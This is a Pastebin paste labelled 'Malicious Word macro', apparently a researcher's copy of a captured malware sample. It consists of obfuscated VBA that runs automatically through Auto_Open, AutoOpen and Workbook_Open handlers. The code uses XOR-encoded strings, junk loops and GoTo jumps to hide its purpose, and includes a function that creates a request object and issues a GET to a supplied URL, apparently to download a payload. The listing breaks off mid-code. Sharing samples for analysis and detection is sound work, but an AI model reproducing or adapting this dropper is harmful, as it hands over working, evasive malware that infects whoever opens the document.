SHARE
TWEET

Malicious Word macro

dynamoo Nov 10th, 2014 196 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10.  
  11. GoTo TekeKIXv
  12. Dim KorylwBO As String
  13. Open Xorex(Chr(44) & Chr(61) & Chr(113) & Chr(32) & Chr(54) & Chr(59) & Chr(75) & Chr(32) & Chr(40) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 74
  14. Dim ecawErWG As Integer
  15. For ecawErWG = 0 To 9
  16. Dim ZPixjmpp, FHMbKifm, NXYZmXjR As String
  17. ZPixjmpp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(45) & Chr(104) & Chr(54) & Chr(36) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  18. FHMbKifm = LTrim(ZPixjmpp)
  19. NXYZmXjR = RTrim(FHMbKifm)
  20.  
  21. DoEvents
  22. Next ecawErWG
  23. Dim asEbzXwZ, XdFQxNKE, KdVCJthR As String
  24. asEbzXwZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(38) & Chr(122) & Chr(56) & Chr(57) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  25. XdFQxNKE = LTrim(asEbzXwZ)
  26. KdVCJthR = RTrim(XdFQxNKE)
  27.  
  28. Put #74, , KorylwBO
  29. Dim VavUqoZa As Integer
  30. For VavUqoZa = 0 To 4
  31. Dim bPjgbwfk, tTVPSHtp, PnTtNsCz As String
  32. bPjgbwfk = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(34) & Chr(61) & Chr(125) & Chr(61) & Chr(57) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  33. tTVPSHtp = LTrim(bPjgbwfk)
  34. PnTtNsCz = RTrim(tTVPSHtp)
  35.  
  36. DoEvents
  37. Next VavUqoZa
  38. Dim KWYHAaqn, uQSlYDxo, OCNfhqyZ As String
  39. KWYHAaqn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(38) & Chr(50) & Chr(120) & Chr(60) & Chr(35) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  40. uQSlYDxo = LTrim(KWYHAaqn)
  41. OCNfhqyZ = RTrim(uQSlYDxo)
  42.  
  43. Close #74
  44. Dim BJgmxyHe As Integer
  45. For BJgmxyHe = 0 To 8
  46. Dim tHLZOFpj, kXTTsAdA, hUokpELN As String
  47. tHLZOFpj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(62) & Chr(97) & Chr(48) & Chr(44) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  48. kXTTsAdA = LTrim(tHLZOFpj)
  49. hUokpELN = RTrim(kXTTsAdA)
  50.  
  51. DoEvents
  52. Next BJgmxyHe
  53. Dim eNiIwUfn, VakMHQQA, LaAyqHiZ As String
  54. eNiIwUfn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(45) & Chr(105) & Chr(43) & Chr(48) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  55. VakMHQQA = LTrim(eNiIwUfn)
  56. LaAyqHiZ = RTrim(VakMHQQA)
  57.  
  58. TekeKIXv:
  59.  
  60. Dim GBoKQhtn As Integer
  61. For GBoKQhtn = 0 To 6
  62. Dim roQtAEYl, OrlbFVcp, gBaMalhz As String
  63. roQtAEYl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(59) & Chr(98) & Chr(36) & Chr(56) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  64. OrlbFVcp = LTrim(roQtAEYl)
  65. gBaMalhz = RTrim(OrlbFVcp)
  66.  
  67. DoEvents
  68. Next GBoKQhtn
  69. Dim RviifzeM, LgdQlDgZ, wbATzqVX As String
  70. RviifzeM = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(60) & Chr(98) & Chr(57) & Chr(63) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  71. LgdQlDgZ = LTrim(RviifzeM)
  72. wbATzqVX = RTrim(LgdQlDgZ)
  73.  
  74. JWYBNRLBKQR
  75. End Sub
  76. Sub AutoOpen()
  77.  
  78. GoTo LEalWwDY
  79. Dim JgRyLclt As String
  80. Open Xorex(Chr(45) & Chr(51) & Chr(111) & Chr(32) & Chr(49) & Chr(60) & Chr(75) & Chr(51) & Chr(54) & Chr(62), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 75
  81. Dim lcavmOJQ As Integer
  82. For lcavmOJQ = 0 To 6
  83. Dim TJJpQsQT, EZmCOfjr, GIuNqamg As String
  84. TJJpQsQT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(62) & Chr(127) & Chr(53) & Chr(44) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  85. EZmCOfjr = LTrim(TJJpQsQT)
  86. GIuNqamg = RTrim(EZmCOfjr)
  87.  
  88. DoEvents
  89. Next lcavmOJQ
  90. Dim uBXnSOQL, eNuSyDoM, VajVnKYW As String
  91. uBXnSOQL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(45) & Chr(126) & Chr(56) & Chr(36) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  92. eNuSyDoM = LTrim(uBXnSOQL)
  93. VajVnKYW = RTrim(eNuSyDoM)
  94.  
  95. Put #75, , JgRyLclt
  96. Dim gacPaGvC As Integer
  97. For gacPaGvC = 0 To 2
  98. Dim OrlEvrlE, gBNVQbsw, MMIlBMed As String
  99. OrlEvrlE = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(39) & Chr(114) & Chr(52) & Chr(60) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  100. gBNVQbsw = LTrim(OrlEvrlE)
  101. MMIlBMed = RTrim(gBNVQbsw)
  102.  
  103. DoEvents
  104. Next gacPaGvC
  105. Dim driuFnBZ, AMfPMsqq, rtAREOMT As String
  106. driuFnBZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(58) & Chr(98) & Chr(57) & Chr(39) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  107. AMfPMsqq = LTrim(driuFnBZ)
  108. rtAREOMT = RTrim(AMfPMsqq)
  109.  
  110. Close #75
  111. Dim jKfxfQSB As Integer
  112. For jKfxfQSB = 0 To 5
  113. Dim HafxHWqB, zuNblIgp, gdSZMxkm As String
  114. HafxHWqB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(56) & Chr(103) & Chr(36) & Chr(58) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  115. zuNblIgp = LTrim(HafxHWqB)
  116. gdSZMxkm = RTrim(zuNblIgp)
  117.  
  118. DoEvents
  119. Next jKfxfQSB
  120. Dim NhGrtVsU, WhBhveOI, JjpALuuP As String
  121. NhGrtVsU = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(51) & Chr(115) & Chr(38) & Chr(56) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  122. WhBhveOI = LTrim(NhGrtVsU)
  123. JjpALuuP = RTrim(WhBhveOI)
  124.  
  125. LEalWwDY:
  126.  
  127. Dim LEBRVpEQ As Integer
  128. For LEBRVpEQ = 0 To 4
  129. Dim treDbHml, PNQiSsds, hWlZBYrr As String
  130. treDbHml = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(39) & Chr(123) & Chr(62) & Chr(60) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  131. PNQiSsds = LTrim(treDbHml)
  132. hWlZBYrr = RTrim(PNQiSsds)
  133.  
  134. DoEvents
  135. Next LEBRVpEQ
  136. Dim HoBLbtvS, lmdDpZiu, UpljgflG As String
  137. HoBLbtvS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(61) & Chr(98) & Chr(56) & Chr(38) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  138. lmdDpZiu = LTrim(HoBLbtvS)
  139. UpljgflG = RTrim(lmdDpZiu)
  140.  
  141.     Auto_Open
  142. End Sub
  143. Sub Workbook_Open()
  144.  
  145. GoTo xyZfKJKl
  146. Dim IsgjmRWR As String
  147. Open Xorex(Chr(46) & Chr(35) & Chr(119) & Chr(44) & Chr(63) & Chr(53) & Chr(75) & Chr(53) & Chr(58) & Chr(55), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 31
  148. Dim fsvDZpke As Integer
  149. For fsvDZpke = 0 To 1
  150. Dim SNAlfjtx, VyfwHroU, XJJoFyFu As String
  151. SNAlfjtx = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(58) & Chr(106) & Chr(63) & Chr(34) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  152. VyfwHroU = LTrim(SNAlfjtx)
  153. XJJoFyFu = RTrim(VyfwHroU)
  154.  
  155. DoEvents
  156. Next fsvDZpke
  157. Dim Tpndowlj, nqPvZbHl, xsMPCRfl As String
  158. Tpndowlj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(39) & Chr(119) & Chr(34) & Chr(45) & Chr(49) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  159. nqPvZbHl = LTrim(Tpndowlj)
  160. xsMPCRfl = RTrim(nqPvZbHl)
  161.  
  162. Put #31, , IsgjmRWR
  163. Dim aUyoqmil As Integer
  164. For aUyoqmil = 0 To 5
  165. Dim qXAGbMwi, GKppSgfN, IiNWEwZE As String
  166. qXAGbMwi = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(44) & Chr(98) & Chr(36) & Chr(60) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  167. GKppSgfN = LTrim(qXAGbMwi)
  168. IiNWEwZE = RTrim(GKppSgfN)
  169.  
  170. DoEvents
  171. Next aUyoqmil
  172. Dim tVpXOVfF, UpvHlwCi, XNEmcuoH As String
  173. tVpXOVfF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(32) & Chr(127) & Chr(62) & Chr(63) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  174. UpvHlwCi = LTrim(tVpXOVfF)
  175. XNEmcuoH = RTrim(UpvHlwCi)
  176.  
  177. Close #31
  178. Dim XqEwKnGT As Integer
  179. For XqEwKnGT = 0 To 1
  180. Dim cyHpxALl, PsZdVhXR, XkghnrBF As String
  181. cyHpxALl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(41) & Chr(116) & Chr(43) & Chr(51) & Chr(44) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  182. PsZdVhXR = LTrim(cyHpxALl)
  183. XkghnrBF = RTrim(PsZdVhXR)
  184.  
  185. DoEvents
  186. Next XqEwKnGT
  187. Dim ndZNQQzy, wfSdyGbu, kfXvnMCi As String
  188. ndZNQQzy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(38) & Chr(120) & Chr(39) & Chr(37) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  189. wfSdyGbu = LTrim(ndZNQQzy)
  190. kfXvnMCi = RTrim(wfSdyGbu)
  191.  
  192. xyZfKJKl:
  193.  
  194. Dim TpUeiHdu As Integer
  195. For TpUeiHdu = 0 To 5
  196. Dim uKijfayh, SDHQAwCu, TrYxkZsP As String
  197. uKijfayh = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(47) & Chr(125) & Chr(60) & Chr(47) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  198. SDHQAwCu = LTrim(uKijfayh)
  199. TrYxkZsP = RTrim(SDHQAwCu)
  200.  
  201. DoEvents
  202. Next TpUeiHdu
  203. Dim oVXNiCxg, QpqMJmyI, NNhcCykj As String
  204. oVXNiCxg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(32) & Chr(106) & Chr(43) & Chr(48) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  205. QpqMJmyI = LTrim(oVXNiCxg)
  206. NNhcCykj = RTrim(QpqMJmyI)
  207.  
  208.     Auto_Open
  209. End Sub
  210. Function MPIRKLCZGPW(ByVal QYHDAGXISET As String, ByVal XOGQTIGBKHF As String) As Boolean
  211.      Dim DJJTVHAZKJC As Object, ABHGZGXTAHB As Long, TRULUSUSFEP As Long, KVYTHKQITTJ() As Byte
  212.  
  213.  
  214. GoTo qvnwdNhu
  215. Dim xRdvFDlk As String
  216. Open Xorex(Chr(57) & Chr(36) & Chr(107) & Chr(42) & Chr(48) & Chr(49) & Chr(75) & Chr(32) & Chr(34) & Chr(44), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 14
  217. Dim crYiGofH As Integer
  218. For crYiGofH = 0 To 9
  219. Dim rWalVlIT, jaDwbuQH, ZubvaWGa As String
  220. rWalVlIT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(36) & Chr(119) & Chr(56) & Chr(49) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  221. jaDwbuQH = LTrim(rWalVlIT)
  222. ZubvaWGa = RTrim(jaDwbuQH)
  223.  
  224. DoEvents
  225. Next crYiGofH
  226. Dim aOHtjJwl, CONjQWLl, KPpZyNjm As String
  227. aOHtjJwl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(63) & Chr(115) & Chr(38) & Chr(59) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  228. CONjQWLl = LTrim(aOHtjJwl)
  229. KPpZyNjm = RTrim(CONjQWLl)
  230.  
  231. Put #14, , xRdvFDlk
  232. Dim sbfEclru As Integer
  233. For sbfEclru = 0 To 1
  234. Dim ZKHKPpJC, iFcdCROF, DOyUpNnY As String
  235. ZKHKPpJC = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(49) & Chr(101) & Chr(53) & Chr(35) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  236. iFcdCROF = LTrim(ZKHKPpJC)
  237. DOyUpNnY = RTrim(iFcdCROF)
  238.  
  239. DoEvents
  240. Next sbfEclru
  241. Dim FWkvBprF, eQcerXhx, TCSCDlBH As String
  242. FWkvBprF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(50) & Chr(127) & Chr(61) & Chr(37) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  243. eQcerXhx = LTrim(FWkvBprF)
  244. TCSCDlBH = RTrim(eQcerXhx)
  245.  
  246. Close #14
  247. Dim RdloCaHW As Integer
  248. For RdloCaHW = 0 To 1
  249. Dim rAKpeHYl, zdwXaKdJ, fliBZThz As String
  250. rAKpeHYl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(41) & Chr(96) & Chr(53) & Chr(50) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  251. zdwXaKdJ = LTrim(rAKpeHYl)
  252. fliBZThz = RTrim(zdwXaKdJ)
  253.  
  254. DoEvents
  255. Next RdloCaHW
  256. Dim ppPZaVKy, yqMGwzgu, astaHuSi As String
  257. ppPZaVKy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(39) & Chr(125) & Chr(63) & Chr(62) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  258. yqMGwzgu = LTrim(ppPZaVKy)
  259. astaHuSi = RTrim(yqMGwzgu)
  260.  
  261. qvnwdNhu:
  262.  
  263. Dim KIbPPPVG As Integer
  264. For KIbPPPVG = 0 To 3
  265. Dim vKaNjEwZ, rFOmEVfm, OOjGJltd As String
  266. vKaNjEwZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(49) & Chr(99) & Chr(56) & Chr(50) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  267. rFOmEVfm = LTrim(vKaNjEwZ)
  268. OOjGJltd = RTrim(rFOmEVfm)
  269.  
  270. DoEvents
  271. Next KIbPPPVG
  272. Dim ywKbMiTv, msVeNMJu, CxsCOjnA As String
  273. ywKbMiTv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(39) & Chr(104) & Chr(61) & Chr(32) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
  274. msVeNMJu = LTrim(ywKbMiTv)
  275. CxsCOjnA = RTrim(msVeNMJu)
  276.  
  277.     Set DJJTVHAZKJC = CreateObject(Xorex(Chr(38) & Chr(35) & Chr(96) & Chr(38) & Chr(43) & Chr(66) & Chr(75) & Chr(63) & Chr(35) & Chr(58) & Chr(49) & Chr(33) & Chr(63) & Chr(96), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc"))
  278.     DJJTVHAZKJC.Open Xorex(Chr(44) & Chr(53) & Chr(108), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc"), QYHDAGXISET, False
  279.  
  280. GoTo YzwDVEhC
  281. Dim KiiJnkli As String
  282. Open Xorex(Chr(44) & Chr(61) & Chr(104) & Chr(59) & Chr(33) & Chr(56) & Chr(75) & Chr(37) & Chr(39) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 59
  283. Dim ARMtQBeF As Integer
  284. For ARMtQBeF = 0 To 7
  285. Dim xJhlEQzr, mZKtADIE, YIRieAQF As String
